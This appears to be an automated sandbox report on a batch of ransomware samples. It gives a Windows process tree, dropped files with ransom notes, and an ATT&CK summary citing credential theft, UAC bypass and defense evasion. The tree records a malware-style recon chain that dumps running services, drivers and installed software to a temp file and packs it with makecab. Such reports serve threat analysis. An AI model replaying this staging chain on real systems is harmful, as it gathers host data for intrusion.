C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ru --service-sandbox-type=service --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --process-name="Storage Service" --field-trial-handle=2728,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=4740 --brver=24.10.2.705 /prefetch:83⤵
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=ru --service-sandbox-type=audio --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --process-name="Audio Service" --field-trial-handle=3104,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=4740 --brver=24.10.2.705 /prefetch:83⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=ru --service-sandbox-type=none --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --process-name="Video Capture" --field-trial-handle=3676,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=1684 --brver=24.10.2.705 /prefetch:83⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=renderer --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --help-url=https://api.browser.yandex.ru/redirect/help/ --user-agent-info --web-ntp-url-for-renderer=https://webntp.yandex.ru/ --translate-security-origin=https://browser.translate.yandex.net/ --enable-instaserp --allow-prefetch --video-capture-use-gpu-memory-buffer --lang=ru --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3932,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:13⤵
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=renderer --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --extension-process --help-url=https://api.browser.yandex.ru/redirect/help/ --user-agent-info --web-ntp-url-for-renderer=https://webntp.yandex.ru/ --translate-security-origin=https://browser.translate.yandex.net/ --enable-instaserp --allow-prefetch --video-capture-use-gpu-memory-buffer --lang=ru --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4184,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=3220 /prefetch:23⤵
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ru --service-sandbox-type=service --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --process-name="Data Decoder Service" --field-trial-handle=3924,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=3864 --brver=24.10.2.705 /prefetch:83⤵
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ru --service-sandbox-type=service --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --process-name="Data Decoder Service" --field-trial-handle=4220,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=3864 --brver=24.10.2.705 /prefetch:83⤵
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=renderer --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --help-url=https://api.browser.yandex.ru/redirect/help/ --user-agent-info --web-ntp-url-for-renderer=https://webntp.yandex.ru/ --translate-security-origin=https://browser.translate.yandex.net/ --enable-instaserp --video-capture-use-gpu-memory-buffer --lang=ru --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=4260,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:13⤵
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=ru --service-sandbox-type=none --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --process-name="Утилиты Windows" --field-trial-handle=4604,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=4728 --brver=24.10.2.705 /prefetch:83⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=gpu-process --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --gpu-process-kind=sandboxed --field-trial-handle=4708,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=4120 /prefetch:23⤵
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=renderer --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --help-url=https://api.browser.yandex.ru/redirect/help/ --user-agent-info --web-ntp-url-for-renderer=https://webntp.yandex.ru/ --translate-security-origin=https://browser.translate.yandex.net/ --ya-custo-process --enable-instaserp --video-capture-use-gpu-memory-buffer --lang=ru --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=4836,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:13⤵
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
-
C:\Windows\system32\cmd.execmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
C:\Windows\system32\nslookup.exenslookup 127.0.0.13⤵
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
-
C:\Windows\system32\cmd.execmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
C:\Windows\system32\tasklist.exetasklist.exe /SVC3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
-
C:\Windows\system32\cmd.execmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
C:\Windows\system32\driverquery.exedriverquery.exe3⤵
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
-
C:\Windows\system32\cmd.execmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
C:\Windows\system32\reg.exereg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s3⤵
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
-
C:\Windows\system32\cmd.execmd /U /C "type C:\Users\Admin\AppData\Local\Temp\E3F5.bin1 > C:\Users\Admin\AppData\Local\Temp\E3F5.bin & del C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
-
C:\Windows\system32\makecab.exemakecab.exe /F "C:\Users\Admin\AppData\Local\Temp\2F6F.bin"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3048 -ip 30481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2468 -ip 24681⤵
-
C:\Windows\SysWOW64\iconvector.exe"C:\Windows\SysWOW64\iconvector.exe"1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\iconvector.exe--968c1d0e2⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Internet Explorer\ielowutil.exe"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding1⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:9240 CREDAT:17410 /prefetch:22⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4820 -ip 48201⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 12328 -ip 123281⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\334a637e78a34d7cb292f489a4f52fcb /t 10636 /p 87081⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7267F6814CC3CF2FE3E925369695076D2⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\A18AE22B-FF77-4BC0-9C05-5911A589E297\lite_installer.exe"C:\Users\Admin\AppData\Local\Temp\A18AE22B-FF77-4BC0-9C05-5911A589E297\lite_installer.exe" --use-user-default-locale --silent --remote-url=http://downloader.yandex.net/downloadable_soft/browser/pseudoportal-ru/Yandex.exe --cumtom-welcome-page=https://browser.yandex.ru/promo/welcome_com/5/ --YABROWSER3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\3FDE7FC9-9915-463B-95AF-84CA06BF0B2D\seederexe.exe"C:\Users\Admin\AppData\Local\Temp\3FDE7FC9-9915-463B-95AF-84CA06BF0B2D\seederexe.exe" "--yqs=y" "--yhp=y" "--ilight=" "--oem=" "--nopin=n" "--pin_custom=n" "--pin_desktop=n" "--pin_taskbar=y" "--locale=us" "--browser=y" "--browser_default=" "--loglevel=trace" "--ess=" "--clids=C:\Users\Admin\AppData\Local\Temp\clids-yasearch.xml" "--sender=C:\Users\Admin\AppData\Local\Temp\0841AE35-7401-45EA-9FAF-473C93E69A9F\sender.exe" "--is_elevated=yes" "--ui_level=2" "--good_token=x" "--no_opera=n"3⤵
- Executes dropped EXE
- Modifies Internet Explorer settings
- Modifies Internet Explorer start page
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\0841AE35-7401-45EA-9FAF-473C93E69A9F\sender.exeC:\Users\Admin\AppData\Local\Temp\0841AE35-7401-45EA-9FAF-473C93E69A9F\sender.exe --send "/status.xml?clid=2278730-666&uuid=fbccab4e-9ce0-4357-ae52-db1073608601&vnt=Windows 10x64&file-no=8%0A10%0A11%0A12%0A13%0A17%0A18%0A20%0A21%0A22%0A25%0A36%0A40%0A42%0A43%0A57%0A61%0A89%0A102%0A103%0A123%0A124%0A125%0A129%0A"4⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\2210d12136414074b9b5b377b3912988 /t 2912 /p 53801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 7804 -ip 78041⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x464 0x2c81⤵
-
C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe"C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe" --run-as-service1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe"C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://crash-reports.browser.yandex.net/submit --annotation=machine_id=488dca4c15f9a1d330ad312b391a804e --annotation=main_process_pid=9992 --annotation=plat=Win32 --annotation=prod=Yandex --annotation=session_logout=False --annotation=ver=24.10.2.705 --initial-client-data=0x254,0x258,0x25c,0x230,0x260,0x93e784,0x93e790,0x93e79c2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe"C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe" --update-scheduler2⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe"C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe" --update-background-scheduler3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\werfault.exewerfault.exe /h /shared Global\5529de1dae8649b286be318aa13a8137 /t 9364 /p 24321⤵
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --broupdater --broupdater-origin=auto --bits_job_guid={862680A0-2108-407D-9E69-BB1BB2A496D1}1⤵
- Loads dropped DLL
- Checks system information in the registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exeC:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data" --url=https://crash-reports.browser.yandex.net/submit --annotation=install_date=1730996317 --annotation=last_update_date=1730996317 --annotation=launches_after_update=1 --annotation=machine_id=488dca4c15f9a1d330ad312b391a804e --annotation=main_process_pid=9524 --annotation=metrics_client_id=35ed6f1f4e634915b0ba14e7aa318e62 --annotation=micromode=broupdater --annotation=plat=Win32 --annotation=prod=Yandex --annotation=session_logout=False --annotation=ver=24.10.2.705 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x73639a24,0x73639a30,0x73639a3c2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=gpu-process --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --gpu-process-kind=sandboxed --field-trial-handle=2036,i,1412119435668471127,9483856540497191306,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:22⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ru --service-sandbox-type=none --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --process-name="Network Service" --field-trial-handle=1940,i,1412119435668471127,9483856540497191306,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2092 --brver=24.10.2.705 /prefetch:32⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --broupdater-stat-bits --broupdater-stat-name=install --bits_job_guid={B18260BF-18BB-45EF-8D2F-643F035A50B6}1⤵
- Loads dropped DLL
- Checks system information in the registry
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exeC:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data" --url=https://crash-reports.browser.yandex.net/submit --annotation=install_date=1730996317 --annotation=last_update_date=1730996317 --annotation=launches_after_update=2 --annotation=machine_id=488dca4c15f9a1d330ad312b391a804e --annotation=main_process_pid=9744 --annotation=metrics_client_id=35ed6f1f4e634915b0ba14e7aa318e62 --annotation=plat=Win32 --annotation=prod=Yandex --annotation=session_logout=False --annotation=ver=24.10.2.705 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x73639a24,0x73639a30,0x73639a3c2⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=gpu-process --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --gpu-process-kind=sandboxed --field-trial-handle=2040,i,1962178282518056821,12945330219351937255,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:22⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ru --service-sandbox-type=none --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --process-name="Network Service" --field-trial-handle=1916,i,1962178282518056821,12945330219351937255,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2068 --brver=24.10.2.705 /prefetch:32⤵
- Loads dropped DLL
-
Network
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Direct Volume Access
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
9Pre-OS Boot
1Bootkit
1Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Network Service Discovery
2Network Share Discovery
1Peripheral Device Discovery
2Process Discovery
1Query Registry
10Remote System Discovery
1System Information Discovery
10System Location Discovery
1System Language Discovery
1System Time Discovery
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
desktop.ini.id-CAB9F1C5.[[email protected]].bip
desktop.ini.id-CAB9F1C5.[[email protected]].bip.exe
WAVZI-DECRYPT.txt
e59bd9c.rbs
service_update.exe
AppvIsvSubsystems64.dll.id-CAB9F1C5.[[email protected]].bip
3159sb8nje-readme.txt.fun
service_update.log
3159sb8nje-readme.txt
F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
www.ya.ru.ico
verB5E8.tmp
suggestions[1].en-US
Fox.png
Tek.png
YandexPackSetup.exe
BroadcastMsg_1728293179.txt.fun
E3F5.bin1
__PSScriptPolicyTest_02jeakyc.xs4.ps1
istripper.exe
lite_installer.log
master_preferences
INetC.dll
svhost.exe
vendor00000.xml
yandex_browser_updater.log
{F1DB3B14-2554-44E8-B8B3-3DAE07A1FEF7}.exe
brand_config
partner_config
install_state.json
ghjgbemlcjioaaejhnnmgfpiplgalgcl.json
about_logo_en.png
about_logo_en_2x.png
about_logo_ru.png
about_logo_ru_2x.png
all_zip
easylist.txt
manifest.json
brand_settings.json
brand_settings.json
brand_settings.json
import-bg.png
dictionary-ru-RU.mrf
dictionary-ru-RU.mrf.sig
stop-words-ru-RU.list
download.png
sxs.ico
tablo
1-1x.png
light.jpg
light_preview.jpg
custogray_full.png
preview.png
wallpaper.json
fir_tree_preview.png
wallpaper.json
flowers_preview.png
wallpaper.json
huangshan.jpg
huangshan.webm
huangshan_preview.jpg
preview.png
wallpaper.json
preview.png
wallpaper.json
mountains_preview.jpg
neuro_dark_preview.jpg
neuro_dark_static.jpg
neuro_light_preview.jpg
neuro_light_static.jpg
preview.png
wallpaper.json
raindrops_preview.png
wallpaper.json
sea.webm
sea_preview.png
wallpaper.json
sea_preview.jpg
sea_static.jpg
preview.png
wallpaper.json
wallpaper.json
web_preview.png
settings.dat
CURRENT
MANIFEST-000001
Preferences
Preferences
Preferences
Preferences~RFe5afc63.TMP
Secure Preferences
Secure Preferences~RFe5afcff.TMP
data_0
data_1
data_2
data_3
Yandex Profile.ico
c60db8be-d85b-4fc7-9ef3-c7ac1642550b.tmp
WAVZI-DECRYPT.txt.fun
Soft.lnk
Soft.lnk
CachedImage_1280_720_POS4.jpg
CachedImage_1280_720_POS4.jpg
places.sqlite
Bookmarks
Bookmarks-20241107161730.777284.backup
BookmarksExtras
Preferences
HEUR-Trojan-Ransom.MSIL.Crypmod.gen-355279a18f370b38ec5953f97100a0c3bfc21ef43d525f80def7f97b5f16b2a3.exe
HEUR-Trojan-Ransom.MSIL.Gen.gen-e14102c23aa4db48105d3a06697517c61413409b17dcca5cd23a449b156bfa3b.exe
HEUR-Trojan-Ransom.Win32.Blocker.gen-f7d0c3afdb6b73a9b8d9cde1f7476e5a8b1306dcb6f724eada83b9353f2f97fb.exe
HEUR-Trojan-Ransom.Win32.Convagent.gen-d78d2ae644482d45196d92bcfc0b2d01788076010967a35c4673b836b4aca7ce.exe
HEUR-Trojan-Ransom.Win32.Cryptor.gen-50d0d2126c7d5723373d3b2ef3b5ad323c25e5b804f7ccf71fc832759ee6f5aa.exe
HEUR-Trojan-Ransom.Win32.Encoder.gen-d2683d68ef6b9bdff39eb7e8f4cc81a6d25cae92c7f540ad62befc0c417b6169.exe
HEUR-Trojan-Ransom.Win32.Sodin.vho-069d993c71e2c78fd73fdef9ce4ced7fe0ce1b49f458a3ec3fae53208d382f3c.exe
Trojan-Ransom.Win32.Blocker.dvjn-13fc9d7802032fbc07b700b8ea2b5ed77155aa0fd01b10ebdfb55077c3c3d660.exe
Trojan-Ransom.Win32.Blocker.fpnf-5ddf8b499bef537d70f04dd90287f4e0a7fd82bf7085713bc7b1ee5a7ce4ee2b.exe
Trojan-Ransom.Win32.Blocker.kcwh-097b8e63a463b36ee4d257f90f2f966fd64f6b2113d09f4cb1c5193b88084caf.exe
Trojan-Ransom.Win32.Crusis.to-4cdcebf5775260b399bf03fa7ab0312629b4475619aa6eef8ed0fb4bdcf24502.exe
Trojan-Ransom.Win32.Crypren.afmk-56ec95785f91418751ad5788f9076af108ae19e03d2e0c0551ae8f8d8f5acba4.exe
Trojan-Ransom.Win32.Foreign.oajg-2c21e78c2ae52a2aedc97822579343b2f8e63455de97645d6dc52a50d3a2fe31.exe
Trojan-Ransom.Win32.Foreign.ofyr-06e8ba8006d3fb1e8d19b1f7730ade6112e132f703547cfee6d72a4d56f79acf.exe
Trojan-Ransom.Win32.GandCrypt.ali-458c5a5a5201d4d1e470a0b009b1152dc48771b3ccb8b17e7b3bc6af4db13985.exe
Trojan-Ransom.Win32.GandCrypt.fdc-baf095b733d2e6b4af5481d217b367403e3c6f8302eb4d51822b6fbe29144086.exe
Trojan-Ransom.Win32.GandCrypt.fmh-eed71a70cbaf7d0e1ec48b866f7758c08d83ce2a3fdf06dc19b2a78a990900d6.exe
Trojan-Ransom.Win32.GandCrypt.gzu-1f6f620b2bc24b0c4fb84ca681981f85b312b0ba9d2b9964a6c5aaf2388f8590.exe
VEONJCZU-MANUAL.txt.fun
!HELP_SOS.hta
VEONJCZU-MANUAL.txt
MSIDD2B.tmp
HelpMe.exe
hosts
win.ini
desktop.ini.id-CAB9F1C5.[[email protected]].bip
desktop.ini.id-CAB9F1C5.[[email protected]].bip
AUTORUN.INF
memory/116-159-0x000000001C050000-0x000000001C0EC000-memory.dmp
memory/116-157-0x000000001BAE0000-0x000000001BFAE000-memory.dmp
memory/1588-123-0x0000000000C90000-0x0000000000D56000-memory.dmp
memory/1588-24402-0x0000000001540000-0x00000000015DC000-memory.dmp
memory/1588-127-0x0000000005DA0000-0x0000000006344000-memory.dmp
memory/1588-129-0x0000000005730000-0x00000000057C2000-memory.dmp
memory/1588-132-0x00000000057F0000-0x0000000005810000-memory.dmp
memory/1588-133-0x0000000005980000-0x000000000598A000-memory.dmp
memory/1664-6058-0x0000000000400000-0x0000000000415000-memory.dmp
memory/1680-154-0x0000000000400000-0x0000000000415000-memory.dmp
memory/1688-13248-0x0000000000400000-0x0000000000469000-memory.dmp
memory/1688-13258-0x0000000063140000-0x000000006314B000-memory.dmp
memory/1688-13257-0x0000000064540000-0x000000006454A000-memory.dmp
memory/1688-4810-0x0000000000400000-0x0000000000469000-memory.dmp
memory/2124-412-0x0000000000270000-0x0000000000E16000-memory.dmp
memory/2124-3569-0x0000000000270000-0x0000000000E16000-memory.dmp
memory/2124-122-0x0000000000270000-0x0000000000E16000-memory.dmp
memory/2124-236-0x0000000000270000-0x0000000000E16000-memory.dmp
memory/2124-1820-0x0000000006E50000-0x0000000006E5A000-memory.dmp
memory/2124-1811-0x0000000007100000-0x0000000007146000-memory.dmp
memory/2124-2368-0x00000000071C0000-0x0000000007226000-memory.dmp
memory/2140-153-0x0000000000400000-0x0000000000608000-memory.dmp
memory/2140-12060-0x0000000000400000-0x0000000000608000-memory.dmp
